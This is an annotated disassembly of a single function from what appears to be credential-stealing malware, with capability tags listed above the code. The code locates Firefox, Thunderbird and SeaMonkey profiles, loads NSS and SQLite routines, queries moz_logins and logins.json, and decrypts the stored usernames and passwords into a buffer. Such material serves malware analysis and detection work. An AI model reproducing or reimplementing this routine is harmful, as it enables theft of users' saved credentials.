Function at 0x406e5a
Capabilities:
Gather firefox profile information
Query environment variable
Read file on windows

Disassembly:
sub esp, 0xd1c
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov eax, dword [esp + 0xd20]
cmp eax, 2
je 0x406f53
cmp eax, 6
je 0x407014
cmp eax, 1
jne 0x4070d2
lea eax, [esp + 0xc9c]
mov dword [esp + 4], eax
mov dword [esp], str.Mozilla_Firefox
call fcn.00406a02
xor eax, 1
test al, al
je 0x406eba
mov eax, 0
jmp 0x407b70
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaFirefoxprofiles.ini
mov dword [esp + 4], 0x204
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.0040afa3
mov dword [esp + 8], 0x40
lea eax, [esp + 0xc5c]
mov dword [esp + 4], eax
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.00406764
test al, al
je 0x406f4e
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea edx, [esp + 0xc5c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaFirefox_s
mov dword [esp + 4], 0x204
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.0040afa3
jmp 0x4070d2
jmp 0x407b5d
lea eax, [esp + 0xc9c]
mov dword [esp + 4], eax
mov dword [esp], str.Mozilla_Thunderbird
call fcn.00406a02
xor eax, 1
test al, al
je 0x406f7b
mov eax, 0
jmp 0x407b70
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sThunderbirdprofiles.ini
mov dword [esp + 4], 0x204
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.0040afa3
mov dword [esp + 8], 0x40
lea eax, [esp + 0xc5c]
mov dword [esp + 4], eax
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.00406764
test al, al
je 0x40700f
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea edx, [esp + 0xc5c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sThunderbird_s
mov dword [esp + 4], 0x204
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.0040afa3
jmp 0x4070d2
jmp 0x407b5d
lea eax, [esp + 0xc9c]
mov dword [esp + 4], eax
mov dword [esp], str.SeaMonkey
call fcn.00406a02
xor eax, 1
test al, al
je 0x40703c
mov eax, 0
jmp 0x407b70
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaSeaMonkeyprofiles.ini
mov dword [esp + 4], 0x204
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.0040afa3
mov dword [esp + 8], 0x40
lea eax, [esp + 0xc5c]
mov dword [esp + 4], eax
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.00406764
test al, al
je 0x4070cd
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
lea edx, [esp + 0xc5c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sMozillaSeaMonkey_s
mov dword [esp + 4], 0x204
lea eax, [esp + 0xa58]
mov dword [esp], eax
call fcn.0040afa3
jmp 0x4070d2
jmp 0x407b5d
lea eax, [esp + 0xa58]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s_signons.sqlite
mov dword [esp + 4], 0x204
lea eax, [esp + 0x854]
mov dword [esp], eax
call fcn.0040afa3
lea eax, [esp + 0xa58]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._slogins.json
mov dword [esp + 4], 0x204
lea eax, [esp + 0x650]
mov dword [esp], eax
call fcn.0040afa3
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.NSS_Init
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xd00], eax
cmp dword [esp + 0xd00], 0
jne 0x407158
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.PK11_GetInternalKeySlot
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcfc], eax
cmp dword [esp + 0xcfc], 0
jne 0x40718a
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.PK11_Authenticate
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcf8], eax
cmp dword [esp + 0xcf8], 0
jne 0x4071bc
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.NSSBase64_DecodeBuffer
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcf4], eax
cmp dword [esp + 0xcf4], 0
jne 0x4071ee
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.PK11SDR_Decrypt
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcf0], eax
cmp dword [esp + 0xcf0], 0
jne 0x407220
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.PK11_FreeSlot
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcec], eax
cmp dword [esp + 0xcec], 0
jne 0x407252
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xcb4]
mov dword [esp + 4], str.NSS_Shutdown
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xce8], eax
cmp dword [esp + 0xce8], 0
jne 0x407284
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xca0]
mov dword [esp + 4], str.sqlite3_open
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xce4], eax
cmp dword [esp + 0xce4], 0
jne 0x4072b6
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xca0]
mov dword [esp + 4], str.sqlite3_close
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xce0], eax
cmp dword [esp + 0xce0], 0
jne 0x4072e8
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xca0]
mov dword [esp + 4], str.sqlite3_prepare_v2
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcdc], eax
cmp dword [esp + 0xcdc], 0
jne 0x40731a
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xca0]
mov dword [esp + 4], str.sqlite3_step
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcd8], eax
cmp dword [esp + 0xcd8], 0
jne 0x40734c
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0xca0]
mov dword [esp + 4], str.sqlite3_column_text
mov dword [esp], eax
call fcn.00405469
mov dword [esp + 0xcd4], eax
cmp dword [esp + 0xcd4], 0
jne 0x40737e
mov eax, 0
jmp 0x407b70
lea eax, [esp + 0x854]
mov dword [esp], eax
call fcn.00404a4e
test al, al
je 0x407710
lea eax, [esp + 0x34]
mov dword [esp + 4], eax
lea eax, [esp + 0x854]
mov dword [esp], eax
mov eax, dword [esp + 0xce4]
call eax
test eax, eax
je 0x4073be
mov eax, 0
jmp 0x407b70
mov eax, dword [esp + 0x34]
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], edx
lea edx, [esp + 0x30]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x19
mov dword [esp + 4], str.select___from_moz_logins
mov dword [esp], eax
mov eax, dword [esp + 0xcdc]
call eax
test eax, eax
jne 0x407710
lea eax, [esp + 0xa58]
mov dword [esp], eax
mov eax, dword [esp + 0xd00]
call eax
test eax, eax
jne 0x407710
mov eax, dword [esp + 0xcfc]
call eax
mov dword [esp + 0xcd0], eax
cmp dword [esp + 0xcd0], 0
je 0x407707
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [esp + 0xcd0]
mov dword [esp], eax
mov eax, dword [esp + 0xcf8]
call eax
test eax, eax
jne 0x4076f4
mov dword [esp + 0xd0c], 0
mov dword [esp + 0xccc], 0
mov eax, dword [esp + 0x30]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [esp + 0xcd4]
call eax
mov dword [esp + 0xcc8], eax
cmp dword [esp + 0xcc8], 0
je 0x4076db
mov eax, dword [esp + 0x30]
mov dword [esp + 4], 6
mov dword [esp], eax
mov eax, dword [esp + 0xcd4]
call eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
lea eax, [esp + 0x250]
mov dword [esp], eax
call fcn.0040ad48
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x250]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], eax
lea eax, [esp + 0x250]
mov dword [esp + 8], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [esp + 0xcf4]
call eax
test eax, eax
jne 0x40751f
jmp 0x4076db
mov dword [esp + 8], 0
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
lea eax, [esp + 0x44]
mov dword [esp], eax
mov eax, dword [esp + 0xcf0]
call eax
test eax, eax
je 0x407548
jmp 0x4076db
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x4076db
mov eax, dword [esp + 0x40]
lea edx, [eax + 1]
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x250]
mov dword [esp], eax
call fcn.0040ad48
mov eax, dword [esp + 0x30]
mov dword [esp + 4], 7
mov dword [esp], eax
mov eax, dword [esp + 0xcd4]
call eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], eax
lea eax, [esp + 0x50]
mov dword [esp], eax
call fcn.0040ad48
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x50]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], eax
lea eax, [esp + 0x50]
mov dword [esp + 8], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [esp + 0xcf4]
call eax
mov dword [esp + 8], 0
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
lea eax, [esp + 0x44]
mov dword [esp], eax
mov eax, dword [esp + 0xcf0]
call eax
test eax, eax
je 0x40760f
jmp 0x4076db
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x4076db
mov eax, dword [esp + 0x40]
cmp eax, 0x1ff
ja 0x4076db
mov eax, dword [esp + 0x40]
lea edx, [eax + 1]
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x50]
mov dword [esp], eax
call fcn.0040ad48
lea eax, [esp + 0x50]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x250]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xcc8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xd20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.0040af50
mov dword [esp + 0xccc], eax
cmp dword [esp + 0xccc], 0xffffffff
je 0x4076db
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0xccc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xd0c]
mov dword [esp + 4], eax
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xccc]
add dword [esp + 0xd0c], eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov eax, dword [esp + 0xcd8]
call eax
cmp eax, 0x64
je 0x407470
mov eax, dword [esp + 0xcd0]
mov dword [esp], eax
mov eax, dword [esp + 0xcec]
call eax
mov eax, dword [esp + 0xce8]
call eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [esp + 0xce0]
call eax
lea eax, [esp + 0x650]
mov dword [esp], eax
call fcn.00404a4e
test al, al
je 0x407b5d
mov dword [esp + 4], 0x413ecc
lea eax, [esp + 0x650]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [esp + 0xcc4], eax
cmp dword [esp + 0xcc4], 0
jne 0x407764
jmp 0x407b5d
lea eax, [esp + 0x650]
mov dword [esp], eax
call fcn.00404be8
mov dword [esp + 0xcc0], eax
mov eax, dword [esp + 0xcc0]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x4077a9
mov eax, dword [esp + 0xcc4]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
jmp 0x407b5d
mov edx, dword [esp + 0xcc0]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0xcc4]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov eax, dword [esp + 0xcc4]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
lea eax, [esp + 0xa58]
mov dword [esp], eax
mov eax, dword [esp + 0xd00]
call eax
test eax, eax
jne 0x407b51
mov eax, dword [esp + 0xcfc]
call eax
mov dword [esp + 0xcd0], eax
cmp dword [esp + 0xcd0], 0
je 0x407b48
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [esp + 0xcd0]
mov dword [esp], eax
mov eax, dword [esp + 0xcf8]
call eax
test eax, eax
jne 0x407b35
mov dword [esp + 0xd08], 0
mov dword [esp + 0xcbc], 0
mov dword [esp + 0xd04], 0
jmp 0x407afe
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], 0x200
lea edx, [esp + 0x450]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.hostname
mov edx, dword [esp + 0xd04]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00406d6d
xor eax, 1
test al, al
je 0x4078aa
jmp 0x407b35
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], 0x200
lea edx, [esp + 0x250]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.encryptedUsername
mov edx, dword [esp + 0xd04]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00406d6d
xor eax, 1
test al, al
je 0x4078e8
jmp 0x407b35
mov eax, dword [esp + 0x20]
mov dword [esp + 0x10], 0x200
lea edx, [esp + 0x50]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.encryptedPassword
mov edx, dword [esp + 0xd04]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00406d6d
xor eax, 1
test al, al
je 0x407923
jmp 0x407b35
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x250]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], eax
lea eax, [esp + 0x250]
mov dword [esp + 8], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [esp + 0xcf4]
call eax
test eax, eax
jne 0x407972
jmp 0x407afe
mov dword [esp + 8], 0
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
lea eax, [esp + 0x44]
mov dword [esp], eax
mov eax, dword [esp + 0xcf0]
call eax
test eax, eax
je 0x40799b
jmp 0x407afe
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x407afe
mov eax, dword [esp + 0x40]
lea edx, [eax + 1]
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x250]
mov dword [esp], eax
call fcn.0040ad48
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
lea eax, [esp + 0x50]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0xc], eax
lea eax, [esp + 0x50]
mov dword [esp + 8], eax
lea eax, [esp + 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [esp + 0xcf4]
call eax
mov dword [esp + 8], 0
lea eax, [esp + 0x38]
mov dword [esp + 4], eax
lea eax, [esp + 0x44]
mov dword [esp], eax
mov eax, dword [esp + 0xcf0]
call eax
test eax, eax
je 0x407a32
jmp 0x407afe
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x407afe
mov eax, dword [esp + 0x40]
cmp eax, 0x1ff
ja 0x407afe
mov eax, dword [esp + 0x40]
lea edx, [eax + 1]
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [esp + 0x50]
mov dword [esp], eax
call fcn.0040ad48
lea eax, [esp + 0x50]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x250]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x450]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xd20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c_s_a_s_a_s_b_b_b_b
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.0040af50
mov dword [esp + 0xcbc], eax
cmp dword [esp + 0xcbc], 0xffffffff
je 0x407afe
mov dword [esp + 0x10], 1
mov eax, dword [esp + 0xcbc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x28]
mov dword [esp + 8], eax
mov eax, dword [esp + 0xd08]
mov dword [esp + 4], eax
lea eax, [esp + 0x24]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0xcbc]
add dword [esp + 0xd08], eax
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0xd04]
add edx, 1
mov dword [esp + 8], eax
mov dword [esp + 4], str.hostname
mov dword [esp], edx
call fcn.0040ade0
mov dword [esp + 0xd04], eax
cmp dword [esp + 0xd04], 0xffffffff
jne 0x40786c
mov eax, dword [esp + 0xcd0]
mov dword [esp], eax
mov eax, dword [esp + 0xcec]
call eax
mov eax, dword [esp + 0xce8]
call eax
lea eax, [esp + 0x20]
mov dword [esp], eax
call fcn.00405434
lea eax, [esp + 0xc9c]
mov dword [esp], eax
call fcn.004069c9
mov eax, dword [esp + 0x24]
add esp, 0xd1c
ret